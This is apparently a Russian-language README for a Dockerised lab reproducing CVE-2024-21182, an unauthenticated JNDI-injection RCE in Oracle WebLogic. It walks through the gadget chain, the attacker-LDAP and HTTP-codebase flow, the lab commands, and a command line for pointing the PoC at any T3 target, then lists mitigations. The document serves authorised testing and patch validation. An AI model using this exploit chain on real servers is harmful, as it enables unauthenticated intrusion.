dinosn/cve-2024-21182Воспроизводимый Docker-лабораторный стенд для CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI-инъекция, приводящая к неаутентифицированному удалённому выполнению кода. Однокомандный validate.sh для авторизованного тестирования безопасности и проверки исправлений.
Автономная Docker-лаборатория, запускаемая одной командой, для воспроизведения и проверки семейства уязвимостей JNDI-инъекций OpaqueReference Oracle WebLogic Server (CVE-2024-21182, обход исправления CVE-2023-21839) и превращения их в неаутентифицированное удаленное выполнение кода.
⚠️ Только для авторизованных исследований безопасности, обучения и проверки исправлений. См. DISCLAIMER. Запускайте только в этой лабораторной среде или в системах, которыми вы владеете.
CVE-2024-21182 — это неаутентифицированная уязвимость в компоненте Core Oracle WebLogic Server, доступная по протоколам T3 / IIOP (порт по умолчанию 7001). Она позволяет злоумышленнику привязать специально созданный объект «ссылка» в JNDI-дерево сервера и вызвать серверный JNDI-запрос к URL, контролируемому злоумышленником — классическая JNDI-инъекция, переходящая в RCE.
| CVE | CVE-2024-21182 |
| Продукт | Oracle WebLogic Server (Core) |
| Затрагиваемые версии (согласно Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Исправлено в | Критическое обновление Oracle октябрь 2024 г. |
| Вектор | Network, unauthenticated, T3/IIOP (port 7001) |
| CISA KEV | Да (известен факт эксплуатации в реальных атаках) |
| Класс | Обход исправления CVE-2023-21839 (JNDI-инъекция OpaqueReference) |
Объект ссылки WebLogic разрешается на стороне сервера во время lookup() с помощью ObjectFactory, который выполняет вложенный JNDI-запрос к URL, предоставленному злоумышленником:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
CVE-2023-21839 достигала этого через weblogic.jndi.internal.ForeignOpaqueReference, который Oracle затем защитил. CVE-2024-21182 обходит эту защиту, достигая того же внешнего запроса через weblogic.ejb.container.internal.AggregatableOpaqueReference, чье приватное поле referent рефлексивно устанавливается на weblogic.application.naming.MessageDestinationReference.
В этой лаборатории используется образ vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3 со встроенным JDK 1.8.0_151), потому что это единственный свободно распространяемый уязвимый образ WebLogic — версии, официально указанные в CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0), требуют лицензии Oracle и не могут быть опубликованы здесь.
Последствия, изложенные честно:
OpaqueReference → RCE, с использованием точных классов-гаджетов CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (удаленная загрузка классов с codebase). На современных JDK инъекция все еще срабатывает (SSRF), но для RCE требуется гаджет, уже находящийся в classpath WebLogic, а не удаленная codebase.Требования: Docker + Docker Compose v2. Загрузка образа ~3 ГБ. На Apple Silicon образ работает под эмуляцией linux/amd64 (медленный холодный запуск, 2–5 мин).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
Ожидаемый хвост вывода ./validate.sh:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
Остановка:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — T3-клиент. Создает вредоносный AggregatableOpaqueReference, выполняет его bind(), затем lookup() для запуска серверного разрешения. Параметризован: <t3-host:port> <ldap-url>. Он компилируется внутри контейнера WebLogic с помощью validate.sh, поскольку классы-гаджеты находятся в полном наборе модулей WebLogic (а не в перераспространяемом тонком клиенте), поэтому здесь не поставляются jar-файлы Oracle.exploit/ldap_server.py — минимальный вредоносный LDAP-сервер, возвращающий JNDI Reference, а также HTTP-сервер, размещающий фабричный класс. Запускается в контейнере attacker, доступен из WebLogic по имени службы attacker.exploit/Exploit.java / Exploit.class — фабрика полезной нагрузки (байт-код Java 8). Ее статический инициализатор выполняет id / uname -a и записывает вывод в /tmp/RCE_PROOF_CVE_2024_21182 внутри жертвы. Безвредно по замыслу — отредактируйте и запустите exploit/build.sh, чтобы изменить команду.ClassCastException (Exploit cannot be cast to ObjectFactory), которое вы увидите, является ожидаемым и косметическим — оно происходит после того, как статический инициализатор (полезная нагрузка) уже выполнился.
Направьте PoC на любой T3-эндпоинт, который вы уполномочены тестировать:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false; у вас все еще есть SSRF, и RCE может быть достигнуто через гаджет в classpath.weblogic.security.net.ConnectionFilterImpl) и межсетевых экранов хоста.com.sun.jndi.ldap.object.trustURLCodebase=false (по умолчанию на современных JDK); это блокирует RCE-часть с удаленной codebase (но не часть инъекции).bind типов *OpaqueReference.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference WebLogic)Этот проект опубликован для авторизованного тестирования безопасности, защитной проверки и обучения. Уязвимое программное обеспечение работает в изолированной Docker-лаборатории. Не используйте эти методы против систем, которыми вы не владеете или для тестирования которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование. См. LICENSE.